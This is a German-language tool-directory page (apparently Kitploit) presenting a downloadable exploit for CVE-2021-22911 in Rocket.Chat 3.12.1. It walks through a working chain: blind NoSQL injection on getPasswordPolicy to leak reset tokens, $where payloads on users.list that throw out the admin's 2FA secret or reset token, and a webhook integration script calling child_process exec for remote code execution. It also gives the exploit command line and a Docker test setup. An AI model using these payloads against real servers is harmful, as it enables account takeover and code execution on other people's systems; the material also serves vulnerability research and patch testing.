Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-22911 — Pre-Auth Blind NoSQL Injection führt zu Remote Code Execution in Rocket Chat 3.12.1 | Kitploit
Tools/GitHubGitHub/csenox/cve-2021-22911
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubcsenox/cve-2021-22911

CVE-2021-22911

Pre-Auth Blind NoSQL Injection führt zu Remote Code Execution in Rocket Chat 3.12.1

Repository anzeigen
618vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-22911

Pre-Auth Blinde NoSQL-Injection führt zu Remote Code Execution in Rocket Chat 3.12.1

  • Die getPasswordPolicy-Methode ist anfällig für NoSQL-Injection-Angriffe und erfordert keine Authentifizierung/Autorisierung. Sie kann verwendet werden, um Konten zu übernehmen, indem Passwort-Reset-Tokens preisgegeben werden. Die Übernahme eines Admin-Kontos führt zu Remote Code Execution.

Erklärung

  1. Übernahme eines Benutzerkontos ( Unauthenticated )
  • Es besteht eine NoSQL-Injection im getPasswordPolicy-Endpunkt im token-Parameter des Passwort-Resets, der ein JSON-Objekt akzeptiert, das uns die Verwendung des $regex-Operators erlaubt. Dies nutzen wir, um eine blinde NoSQL-Injection durchzuführen, um das Reset-Token zu erhalten.
  1. Privilege Escalation zu Admin ( Authenticated )
  • Der Admin-Benutzer ist höchstwahrscheinlich durch 2FA geschützt. Selbst wenn wir das Passwort des Admins durch (1) ändern, wird beim Login ein 2FA-Code abgefragt.
  • Der users.list-API-Endpunkt akzeptiert einen query-Parameter, der anfällig für NoSQL-Injection ist. Wir können auch Daten abrufen, indem wir einen Fehler auslösen.
  • Wir führen die folgende Abfrage aus, um das 2FA-Geheimnis des Admins zu erhalten: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
  • Als nächstes führen wir (1) aus, um das Admin-Passwort zurückzusetzen, und verwenden das 2FA-Geheimnis, um einen Code zu generieren, mit dem wir uns anmelden können.
  • Aktualisiert: Sie können das Reset-Token auch auf die gleiche Weise abrufen, wie Sie das 2FA-Geheimnis abgerufen haben : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
  1. RCE ( Autenticated - Admin )
  • Rocket.Chat hat eine Funktion namens Integrationen, die das Erstellen eingehender und ausgehender Webhooks ermöglicht. Diesen Webhooks können Skripte zugeordnet werden, die ausgeführt werden, wenn der Webhook ausgelöst wird.
  • Wir erstellen eine Integration mit dem folgenden Skript :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • Als nächstes lösen wir einfach den Webhook aus, um RCE zu erhalten :)

Verwendung

  • Sie benötigen die E-Mail-Adresse eines Benutzers mit niedrigen Rechten, der kein 2FA eingerichtet hat. ( -u )
  • Sie benötigen außerdem die E-Mail-Adresse des Administrators. Kein Problem, wenn der Admin mit 2FA geschützt ist. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Umgebung

  • Getestet auf Rocket Chat 3.12.1
  • Erstellen einer eigenen Testumgebung mit Docker :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • Aktivieren Sie die Password Policy
  • Aktivieren Sie 2FA für den Administrator
  • Registrieren Sie einen normalen Benutzer.

HINWEIS: Wenn Sie nicht möchten, dass der Administrator durch 2FA geschützt ist, können Sie Folgendes tun.

  1. Senden Sie eine E-Mail zum Vergessen des Passworts
  2. Holen Sie sich das Reset-Token für den Administrator
  3. Ändern Sie das Passwort mit dem abgerufenen Reset-Token
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Credits

  • https://hackerone.com/reports/1130721 ( Sonar-Quelle )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Tool herunterladen